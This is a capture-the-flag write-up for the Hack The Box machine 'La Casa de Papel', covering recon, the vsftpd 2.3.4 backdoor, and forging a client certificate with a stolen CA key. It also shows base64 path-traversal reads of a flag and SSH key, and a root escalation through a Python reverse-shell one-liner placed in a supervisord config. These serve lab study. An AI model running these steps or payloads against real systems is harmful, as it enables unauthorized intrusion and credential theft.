Hack The Box: La Casa de Papel

Recon

The initial portscan is done with nmap, using:

nmap -T4 -A -oN portscan 10.10.10.131

Options breakdown:

  • T4: With a value between 0 and 5, 4 provides fast scanning without hammering the server.
  • A: Enable OS detection, version detection of any running services, script scanning and traceroute.
  • oN portscan: Output the results to a new portscan file.

From the result we can see we have a few ports open:

PORT    STATE SERVICE  VERSION
21/tcp  open  ftp      vsftpd 2.3.4
22/tcp  open  ssh      OpenSSH 7.9 (protocol 2.0)
| ssh-hostkey: 
|   2048 03:e1:c2:c9:79:1c:a6:6b:51:34:8d:7a:c3:c7:c8:50 (RSA)
|   256 41:e4:95:a3:39:0b:25:f9:da:de:be:6a:dc:59:48:6d (ECDSA)
|_  256 30:0b:c6:66:2b:8f:5e:4f:26:28:75:0e:f5:b1:71:e4 (ED25519)
80/tcp  open  http     Node.js (Express middleware)
|_http-title: La Casa De Papel
443/tcp open  ssl/http Node.js Express framework
| http-auth: 
| HTTP/1.1 401 Unauthorized\x0D
|_  Server returned status 401 but no WWW-Authenticate header.
|_http-title: La Casa De Papel
| ssl-cert: Subject: commonName=lacasadepapel.htb/organizationName=La Casa De Papel

We can start looking at the various services, but by default nmap only scans the most common 1000 ports. Therefore it is worth starting a second scan which covers the full range (which will take a while!):

nmap -p- -T4 -A -oN portscan-full 10.10.10.131

This will highlight one more port which we hadn’t caught earlier:

6200/tcp filtered lm-x

So we have HTTP, HTTPS, SSH, FTP, and a mysterious 6200 port. If we look at https://10.10.10.131 we are greeted by a certificate error:

However, if we look at nmap’s output, we can see it is using vsftpd 2.3.4. A cursory look in Google shows that this is a vulnerable service.

VSFTPD 2.3.4

According to various websites, this particular version of VSFTPD has a backdoor.

This module exploits a malicious backdoor that was added to the VSFTPD download archive. This backdoor was introduced into the vsftpd-2.3.4.tar.gz archive between June 30th 2011 and July 1st 2011 according to the most recent information available. This backdoor was removed on July 3rd 2011.

Rapid7 – VSFTPD v2.3.4 Backdoor Command Execution

There is a Metasploit module for this, but it doesn’t actually work:

msf > use exploit/unix/ftp/vsftpd_234_backdoor
msf exploit(unix/ftp/vsftpd_234_backdoor) > set RHOST 10.10.10.131
msf exploit(unix/ftp/vsftpd_234_backdoor) > exploit

[*] 10.10.10.131:21 - The port used by the backdoor bind listener is already open
[-] 10.10.10.131:21 - The service on port 6200 does not appear to be a shell
[*] Exploit completed, but no session was created.

So there’s our mysterious port 6200. Clearly there is something there, but not what we were expecting. If we look at how the exploit is supposed to work, we can see that it is meant to spawn a listen shell on port 6200 when someone tries to login using the user ‘:)’.

If we try to connect to the FTP service to do this manually, it is definitely doing something, as the FTP process never exits after inputting the ‘:)’ user and any password:

root@orbital:~# ftp 10.10.10.131
Connected to 10.10.10.131.
220 (vsFTPd 2.3.4)
Name (10.10.10.131:root): :)
331 Please specify the password.
Password:

So let’s try to connect to port 6200 anyway, using our trusty nc:

root@orbital:~# nc 10.10.10.131 6200
Psy Shell v0.9.9 (PHP 7.2.10 — cli) by Justin Hileman

Well, hello.

Psy Shell v0.9.9

So we’re in Psy Shell, a PHP development environment rather than a regular shell. However, it quickly becomes obvious that it is a locked down shell, as we’re unable to execute system commands.

`ls`                                                                                                                
PHP Warning:  shell_exec() has been disabled for security reasons in phar://eval()'d code on line 1                 
eval(`ls`);
PHP Warning:  shell_exec() has been disabled for security reasons in phar://eval()'d code on line 1

However, this still works a PHP interactive command line. So we can still look around by using PHP’s functions and if we type help we get a list of Psy Shell specific commands we can use.

If we do some digging around, we’ll find the following:

ls                                                                                                                   
Variables: $tokyo  
dump $tokyo                                                                                                          
Tokyo {#2307}                                                                                                             
show $tokyo                                                                                                          
  > 2| class Tokyo {                                                                                                 
    3|  private function sign($caCert,$userCsr) {                                                                    
    4|          $caKey = file_get_contents('/home/nairobi/ca.key');                                                  
    5|          $userCert = openssl_csr_sign($userCsr, $caCert, $caKey, 365, ['digest_alg'=>'sha256']);              
    6|          openssl_x509_export($userCert, $userCertOut);                                                        
    7|          return $userCertOut;                                                                                 
    8|  }                                                                                                            
    9| }  

So we know how to generate our authentication credentials.

We can also do some more recon by using PHP directly, for example:

scandir('/home');
=> [
     ".",
     "..",
     "berlin",
     "dali",
     "nairobi",
     "oslo",
     "professor",
   ]

Looking at each individual user, we locate the following paths of interest:

/home/berlin/user.txt
/home/berlin/.ssh
/home/nairobi/ca.key

We can attempt to read these files using file_get_contents(), but we only have read permissions in nairobi.

Credentials

Looking at the contents of $tokyo, generating the credentials has three steps:

$caKey = file_get_contents('/home/nairobi/ca.key');
$userCert = openssl_csr_sign($userCsr, $caCert, $caKey, 365, ['digest_alg'=>'sha256']);
openssl_x509_export($userCert, $userCertOut);

So we need to provide $userCsr and $caCert. The CSR stands for Certificate Signing Request, and we would generate it locally in our own machine:

root@orbital:~# openssl genrsa -out user.key 2048
root@orbital:~# openssl req -new -sha256 -key user.key -out user.csr         
You are about to be asked to enter information that will be incorporated                                            
into your certificate request.
What you are about to enter is what is called a Distinguished Name or a DN.                                         
There are quite a few fields but you can leave some blank
For some fields there will be a default value,
If you enter '.', the field will be left blank.
-----
Country Name (2 letter code) [AU]:GB
State or Province Name (full name) [Some-State]:.
Locality Name (eg, city) []:.
Organization Name (eg, company) [Internet Widgits Pty Ltd]:La Casa De Papel                                         
Organizational Unit Name (eg, section) []:.
Common Name (e.g. server FQDN or YOUR name) []:.
Email Address []:hn@gmail.com

Please enter the following 'extra' attributes
to be sent with your certificate request
A challenge password []:
An optional company name []:

We now have our own Certificate Signing Request, user.csr.

Then we need to download the website’s certificate. In Firefox, you can do this by clicking the padlock next to the website’s URL, then on the arrow, “More Information”, “View Certificate”, “Details”, “Export”. I called it lacasadepapel.crt.

Now that we have everything we need, we can grab the required files from our machine. I normally do this by running a HTTP server on the fly:

root@orbital:~# python -m SimpleHTTPServer

Back in PsyShell, we then do:

$caKey = file_get_contents('/home/nairobi/ca.key');
$userCsr = file_get_contents('http://10.10.15.1:8000/user.csr');
$caCert = file_get_contents('http://10.10.15.1:8000/lacasadepapel.crt');
$userCert = openssl_csr_sign($userCsr, $caCert, $caKey, 365, ['digest_alg'=>'sha256']);
openssl_x509_export($userCert, $userCertOut);
echo $userCertOut;

After copying the contents of $userCertOut to our own machine, we need to convert it from PEM to PKCS#12 so Firefox can use it.

root@orbital:~# openssl pkcs12 -export -in userCertOut.crt -inkey user.key -out lacasadepapel.pfx

And finally we can load the certificate in Firefox, in Settings -> Privacy and Security -> View Certificates -> Your Certificates -> Import.

You might have to close your tab and open a new one to refresh the page

Private area

Now that we have access to the website’s private area, we can see that the links are in the following format:

https://10.10.10.131/?path=SEASON-1

This immediately shouts “Local File Inclusion”, so let’s try it:

https://10.10.10.131/?path=../

Bingo. So, this works, but although we can see our user.txt we can’t actually download it. If we go back and try to go to one of the SEASON-# folders, it does show us a list of files.

We can see the link for e.g. 01.avi, which allows us to download the file:

https://10.10.10.131/file/U0VBU09OLTEvMDEuYXZp

That looks like path encoded in base64:

root@orbital:~# echo U0VBU09OLTEvMDQuYXZp | base64 -d         
SEASON-1/04.avi

From here we can see if this path is also susceptible to LFI. We’ll encode ../user.txt:

root@orbital:~# echo -n ../user.txt | base64
Li4vdXNlci50eHQ=

Note that the -n in echo is particularly important to ensure no \n character gets encoded. You’ll hang the server!

And from the browser we can then go to https://10.10.10.131/file/Li4vdXNlci50eHQ= and grab our user flag at last.

User shell

By going to https://10.10.10.131/?path=../.ssh we can see a private key, id_rsa. Let’s retrieve it using the technique above:

root@orbital:~# echo -n ../.ssh/id_rsa | base64
Li4vLnNzaC9pZF9yc2E=

And then downloading it at https://10.10.10.131/file/Li4vLnNzaC9pZF9yc2E=

Now that we have the key, let’s try to SSH into the machine:

root@orbital:~# chmod 400 id_rsa
root@orbital:~# ssh -i id_rsa berlin@10.10.10.131
berlin@10.10.10.131's password: 
Permission denied, please try again.

Oh. That’s unexpected. What about the other users?

root@orbital:~# ssh -i id_rsa nairobi@10.10.10.131
nairobi@10.10.10.131's password: 

root@orbital:~wip# ssh -i id_rsa dali@10.10.10.131
dali@10.10.10.131's password: 

root@orbital:~# ssh -i id_rsa oslo@10.10.10.131
oslo@10.10.10.131's password: 

root@orbital:~# ssh -i id_rsa professor@10.10.10.131

 _             ____                  ____         ____                  _ 
| |    __ _   / ___|__ _ ___  __ _  |  _ \  ___  |  _ \ __ _ _ __   ___| |
| |   / _` | | |   / _` / __|/ _` | | | | |/ _ \ | |_) / _` | '_ \ / _ \ |
| |__| (_| | | |__| (_| \__ \ (_| | | |_| |  __/ |  __/ (_| | |_) |  __/ |
|_____\__,_|  \____\__,_|___/\__,_| |____/ \___| |_|   \__,_| .__/ \___|_|
                                                            |_|       

lacasadepapel [~]$ 

There we go.

Root shell

Now that we have access to a proper shell, we can start having a look around. If we look at what we have in our home folder, however, we immediately spot something interesting:

lacasadepapel [~]$ ls -la
total 24
drwxr-sr-x    4 professo professo      4096 May  2 20:18 .
drwxr-xr-x    7 root     root          4096 Feb 16 18:06 ..
lrwxrwxrwx    1 root     professo         9 Nov  6 23:10 .ash_history -> /dev/null
drwx------    2 professo professo      4096 Jan 31 21:36 .ssh
-rw-r--r--    1 root     root            88 Jan 29 01:25 memcached.ini
-rw-r-----    1 root     nobody         434 Jan 29 01:24 memcached.js
drwxr-sr-x    9 root     professo      4096 Jan 29 01:31 node_modules

The file memcached.ini is owned by root. And if we look at its contents…

lacasadepapel [~]$ cat memcached.ini
[program:memcached]
command = sudo -u nobody /usr/bin/node /home/professor/memcached.js

It looks like a configuration file for memcached, probably read memcached is spooled up. If we have a look at the running processes, we’ll see that this command is indeed running

lacasadepapel [~]$ ps aux
...
3228 root      0:00 /usr/sbin/vsftpd /etc/vsftpd/vsftpd.conf
3265 dali      0:00 /usr/bin/node /home/dali/server.js
3266 nobody    0:01 /usr/bin/node /home/oslo/server.js
3267 berlin    0:00 /usr/bin/node /home/berlin/server.js
3268 nobody    0:01 /usr/bin/node /home/nairobi/server.js   
4739 professo  0:00 -ash
7610 root      0:00 /sbin/getty -L 115200 ttyS0 vt100
7611 root      0:00 [supervisord] 
7652 root      0:00 {supervisord} /usr/bin/python2 /usr/bin/supervisord --nodaemon --pidfile /var/run/supervisord.pid
7660 nobody    0:38 /usr/bin/node /home/professor/memcached.js                                                        
 7667 professo  0:00 ps aux  

If you look closely you’ll find that the /usr/bin/node /home/professor/memcached.js process is being restarted every 60 seconds. Given the contents of the file, it is likely also being run as root.

However, memcached.ini is read-only, which complicates things slightly. But just because we can’t write to the file, it doesn’t mean we can’t move it and make a copy.

lacasadepapel [~]$ mv memcached.ini memcached.bak
lacasadepapel [~]$ cp memcached.bak memcached.ini
lacasadepapel [~]$ ls -la
total 28
drwxr-sr-x    4 professo professo      4096 May  3 16:52 .
drwxr-xr-x    7 root     root          4096 Feb 16 18:06 ..
lrwxrwxrwx    1 root     professo         9 Nov  6 23:10 .ash_history -> /dev/null
drwx------    2 professo professo      4096 Jan 31 21:36 .ssh
-rw-r--r--    1 professo professo        88 May  3 16:52 memcached.ini
-rw-r--r--    1 root     root            88 Jan 29 01:25 memcached.bak

Now that we have our own version of the file, we can modify it to run something more interesting, like a Python reverse shell. Note that the full path to Python is necessary.

[program:memcached]
command = sudo /usr/bin/python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.15.1",1337));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

And on our side we run the usual listening process:

root@orbital:# nc -lvp 1337                                                                                                                                                                                            
listening on [any] 1337 ...     

Within 60 seconds, we’ll get a connection established and from there, we can read the root flag in /root/root.txt.


Work in progress
To top